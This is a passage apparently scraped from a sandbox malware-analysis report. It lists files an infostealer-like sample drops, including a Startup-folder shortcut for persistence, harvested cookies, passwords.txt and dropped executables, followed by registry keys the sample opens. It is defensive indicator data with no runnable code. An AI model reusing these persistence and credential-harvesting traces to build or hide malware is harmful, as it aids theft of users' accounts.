window=hide"- Location: [%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\FANBooster131.lnk]- [targetUID: 00000000-00005528] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "KUpJwynI8W3Jcookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- Location: [%TEMP%\tempAVSnBPO13DQmhKZ\KUpJwynI8W3Jcookies.sqlite]- [targetUID: 00000000-00005528] "sLMNFasP7gH_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "PHKEK4QM.htm" has type "HTML document UTF-8 Unicode text with very long lines with CRLF NEL line terminators"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\2UXTWTJR\PHKEK4QM.htm]- [targetUID: 00000000-00004840] "Tar44ED.tmp" has type "data"- Location: [%TEMP%\Tar44ED.tmp]- [targetUID: 00000000-00005528] "6bjw9N12j0I_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00005528] "login_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "urlref_httpsfacebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "dinosaur_1_.png" has type "PNG image data 1200 x 800 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "xGzxHIbkRpC_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "sKtrEJAtiUM_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "_cNbISKpDhw_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "Ch_YChJCKQS_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "x5_Htks8xgp_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "DrNGezcSqaJ_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "aBIoq18cchP_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "qvzskUrYlYC_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20544 version 1.1"- [targetUID: N/A] "~DF1BB8EFA86EDF6542.TMP" has type "data"- Location: [%TEMP%\~DF1BB8EFA86EDF6542.TMP]- [targetUID: 00000000-00004840] "KFOmCnqEu92Fr1Mu4mxM_1_.woff" has type "Web Open Font Format TrueType length 20344 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "Jn0xcQmjzFV_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "L3lExXePTzJ_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "Qw3hZQNGEDjaO2m6tqIqX5E-AVS5_rSejo46_PCTRspJ0OosolrBEJL3HMXfxQASluL2m_dANVawBpSF_1_.woff" has type "Web Open Font Format TrueType length 18412 version 1.1"- [targetUID: N/A] "en-US.4" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\DomainSuggestions\en-US.4]- [targetUID: 00000000-00005284] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00005424] "C88418EDBE65AF3960916D9E8011370D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\C88418EDBE65AF3960916D9E8011370D]- [targetUID: 00000000-00005424] "~DF09450FA8165C13FE.TMP" has type "data"- Location: [%TEMP%\~DF09450FA8165C13FE.TMP]- [targetUID: 00000000-00005372] "~DFCBE6A7BDA7C55024.TMP" has type "data"- Location: [%TEMP%\~DFCBE6A7BDA7C55024.TMP]- [targetUID: 00000000-00004840] "~DF76A8D69AD556BAA5.TMP" has type "data"- Location: [%TEMP%\~DF76A8D69AD556BAA5.TMP]- [targetUID: 00000000-00005372] "~DFBB41B032D9DA8EA0.TMP" has type "data"- Location: [%TEMP%\~DFBB41B032D9DA8EA0.TMP]- [targetUID: 00000000-00005284] "~DFD5BEF543801E7FE1.TMP" has type "data"- Location: [%TEMP%\~DFD5BEF543801E7FE1.TMP]- [targetUID: 00000000-00005372] "~DFF078AD56CDE0FA19.TMP" has type "data"- [targetUID: N/A] "~DF756C31C65FADB77D.TMP" has type "data"- Location: [%TEMP%\~DF756C31C65FADB77D.TMP]- [targetUID: 00000000-00005284] "HtdXy-2D6mm_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "lFK_RCKM9IT_1_.js" has type "C source ASCII text with very long lines"- [targetUID: N/A] "imagestore.dat" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Internet Explorer\imagestore\3mt7jhv\imagestore.dat]- [targetUID: 00000000-00005284] "_713B6051-A71A-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "firefox_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "yt_logo_rgb_light_1_.png" has type "PNG image data 1588 x 356 8-bit colormap non-interlaced"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00005500] "edgium_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "Y0L6f5sxdIV_1_.png" has type "PNG image data 283 x 315 8-bit colormap non-interlaced"- [targetUID: N/A] "ysfm_2i9xtW_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "chrome_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "_928D87F1-A71A-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "EVmD_liOmwc_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "supported_browsers_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines with no line terminators"- [targetUID: N/A] "RecoveryStore._71B274CF-A71A-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._71618605-A71A-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "RecoveryStore._713B604F-A71A-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "RKK6hMCj3R1_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "information.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\tempCMSnBPO13DQmhKZ\information.txt]- [targetUID: 00000000-00005528] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\tempCMSnBPO13DQmhKZ\passwords.txt]- [targetUID: 00000000-00005528] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00005500] "_00DC7CD6-A71B-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_97CBC46B-A71F-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_92052DB0-A71A-11EE-BB33-00505691EDD2_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "hLRJ1GG_y0J_1_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "RNq7B6B2rQeTJQ9M7tnuHv5lboEdVoDr.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\RNq7B6B2rQeTJQ9M7tnuHv5lboEdVoDr.zip]- [targetUID: 00000000-00005528] "opera_1_.png" has type "PNG image data 128 x 128 8-bit/color RGBA non-interlaced"- [targetUID: N/A] "M08arqdo_nN_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "EQ0cyse2DGv_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00005424] "CbM6CZG2ZAb_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 1 icon 16x16 32 bits/pixel"- [targetUID: N/A] "3FPJ9YC_wUr_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "www.facebook_1_.xml" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00005424] "Firefox_mj0wtyin.default-1692790883487.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\tempCMSnBPO13DQmhKZ\Cookies\Firefox_mj0wtyin.default-1692790883487.txt]- [targetUID: 00000000-00005528] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00005424] "v75M7CPu9-P_1_.js" has type "C source ASCII text"- [targetUID: N/A] "MPCELET8.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\MPCELET8.txt]- [targetUID: 00000000-00004840] "E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96]- [targetUID: 00000000-00005572] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00004840] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00004840] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00004840] "E87CE99F124623F95572A696C80EFCAF_F134D707C209C83E02D4485138FE5D48" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E87CE99F124623F95572A696C80EFCAF_F134D707C209C83E02D4485138FE5D48]- [targetUID: 00000000-00005572] "F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1]- [targetUID: 00000000-00005424] "35DDEDF268117918D1D277A171D8DF7B_368DF162A563963678102D76C0B7CE99" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\35DDEDF268117918D1D277A171D8DF7B_368DF162A563963678102D76C0B7CE99]- [targetUID: 00000000-00005500] "F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06]- [targetUID: 00000000-00005424] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00005284] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00005500] "LDFDUeRDitE_1_.js" has type "ASCII text"- [targetUID: N/A] "1VW4H8G4.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1VW4H8G4.txt]- [targetUID: 00000000-00004840] "-EdnrNYFrJy_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "dXk5exdOVhk_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "35DDEDF268117918D1D277A171D8DF7B_368DF162A563963678102D76C0B7CE99" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\35DDEDF268117918D1D277A171D8DF7B_368DF162A563963678102D76C0B7CE99]- [targetUID: 00000000-00005500] "E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A]- [targetUID: 00000000-00004840] "80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_D46D6FA25B74360E1349F9015B5CCE53]- [targetUID: 00000000-00004840] "80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_C5130A0BDC8C859A2757D77746C10868]- [targetUID: 00000000-00004840] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA]- [targetUID: 00000000-00005424] "E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_9FBD3BA6168F3C4317F2AAB1E548FE96]- [targetUID: 00000000-00005572] "F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_BFB422D89E28A298A60024A8D8A2EA06]- [targetUID: 00000000-00005424] "E87CE99F124623F95572A696C80EFCAF_F134D707C209C83E02D4485138FE5D48" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E87CE99F124623F95572A696C80EFCAF_F134D707C209C83E02D4485138FE5D48]- [targetUID: 00000000-00005572] "F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_EC50BC49A28D68A36F5274F1BD1417C1]- [targetUID: 00000000-00005424] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776]- [targetUID: 00000000-00005284] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB]- [targetUID: 00000000-00005500] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA]- [targetUID: 00000000-00005424] "R2LFJGOZ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\R2LFJGOZ.txt]- [targetUID: 00000000-00004840] "EDE9EH7C.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\EDE9EH7C.txt]- [targetUID: 00000000-00005424] "css_1_.css" has type "ASCII text"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00005500] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00005528] "css_2_.css" has type "ASCII text"- [targetUID: N/A] "Z5YN2W7M.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\Z5YN2W7M.txt]- [targetUID: 00000000-00005500] "43FX5G2D.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\43FX5G2D.txt]- [targetUID: 00000000-00004840] "HTMQ726P.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\HTMQ726P.txt]- [targetUID: 00000000-00005572] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00005500] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\739F2FF4259CDC6CBE7B90F1A95601EF]- [targetUID: 00000000-00005500] "IPEU8T7Q.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\CKDNCXYS\IPEU8T7Q.htm]- [targetUID: 00000000-00005424] "C5T2YZLT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\C5T2YZLT.txt]- [targetUID: 00000000-00005424] "EOVJFVYP.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\EOVJFVYP.txt]- [targetUID: 00000000-00005424] "AUOOIJVD.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\AUOOIJVD.txt]- [targetUID: 00000000-00005424] "CPQV7CS6.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\CPQV7CS6.txt]- [targetUID: 00000000-00004840] "01Z1SA3Z.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\01Z1SA3Z.txt]- [targetUID: 00000000-00005500] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00005424] "C88418EDBE65AF3960916D9E8011370D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\C88418EDBE65AF3960916D9E8011370D]- [targetUID: 00000000-00005424] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\4748633DC5731827D4B432DBAC7A3ECE]- [targetUID: 00000000-00005424] "MKC9JA48.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\MKC9JA48.txt]- [targetUID: 00000000-00005572] "3ZJGZWP6.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3ZJGZWP6.txt]- [targetUID: 00000000-00004840] "9138VKHQ.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\9138VKHQ.txt]- [targetUID: 00000000-00005424] "86S9R5QB.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\86S9R5QB.txt]- [targetUID: 00000000-00005424] "11SEYY5I.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\11SEYY5I.txt]- [targetUID: 00000000-00005500] "BAD2LZTY.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\BAD2LZTY.txt]- [targetUID: 00000000-00004840] "VZKAAUJ2.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\VZKAAUJ2.txt]- [targetUID: 00000000-00005424] "WSQTRJ43.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\WSQTRJ43.txt]- [targetUID: 00000000-00004840] "O7nelmd9XSI_1_.png" has type "PNG image data 1 x 1 1-bit colormap non-interlaced"- [targetUID: N/A] "1G744RF5.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1G744RF5.txt]- [targetUID: 00000000-00004840] "J9LDP9CL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\J9LDP9CL.txt]- [targetUID: 00000000-00005572] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "rise131M9Asphalt.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\rise131M9Asphalt.tmp]- [targetUID: 00000000-00005528] "OfficeTrackerNMP131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\OfficeTrackerNMP131\OfficeTrackerNMP131.exe]- [targetUID: 00000000-00005528] "MaxLoonaFest131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\MaxLoonaFest131\MaxLoonaFest131.exe]- [targetUID: 00000000-00005528] "5Jy6wg6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5Jy6wg6.exe]- [targetUID: 00000000-00005528] "Cab44EC.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression"- Location: [%TEMP%\Cab44EC.tmp]- [targetUID: 00000000-00005528] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\BEC6224B02D155A396218A2504F3EE0B]- [targetUID: 00000000-00005500] "1LBFLPX6.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1LBFLPX6.txt]- [targetUID: 00000000-00005500] "72LXQ0AV.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\72LXQ0AV.txt]- [targetUID: 00000000-00005424]51:T405,"Tar44ED.tmp" has type "data" - Location: [%TEMP%\Tar44ED.tmp] "~DF1BB8EFA86EDF6542.TMP" has type "data" - Location: [%TEMP%\~DF1BB8EFA86EDF6542.TMP] "~DF09450FA8165C13FE.TMP" has type "data" - Location: [%TEMP%\~DF09450FA8165C13FE.TMP] "~DFCBE6A7BDA7C55024.TMP" has type "data" - Location: [%TEMP%\~DFCBE6A7BDA7C55024.TMP] "~DF76A8D69AD556BAA5.TMP" has type "data" - Location: [%TEMP%\~DF76A8D69AD556BAA5.TMP] "~DFBB41B032D9DA8EA0.TMP" has type "data" - Location: [%TEMP%\~DFBB41B032D9DA8EA0.TMP] "~DFD5BEF543801E7FE1.TMP" has type "data" - Location: [%TEMP%\~DFD5BEF543801E7FE1.TMP] "~DFF078AD56CDE0FA19.TMP" has type "data" "~DF756C31C65FADB77D.TMP" has type "data" - Location: [%TEMP%\~DF756C31C65FADB77D.TMP] "rise131M9Asphalt.tmp" has type "ASCII text with no line terminators" - Location: [%TEMP%\rise131M9Asphalt.tmp] "Cab44EC.tmp" has type "Microsoft Cabinet archive data Windows 2000/XP setup 66791 bytes 1 file at 0x2c +A "authroot.stl" number 1 6 datablocks 0x1 compression" - Location: [%TEMP%\Cab44EC.tmp]52:T974,"dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "dcb10b49c7d8d03b15484c3ca04e7086.exe" (Access type: "OPEN"; Path: 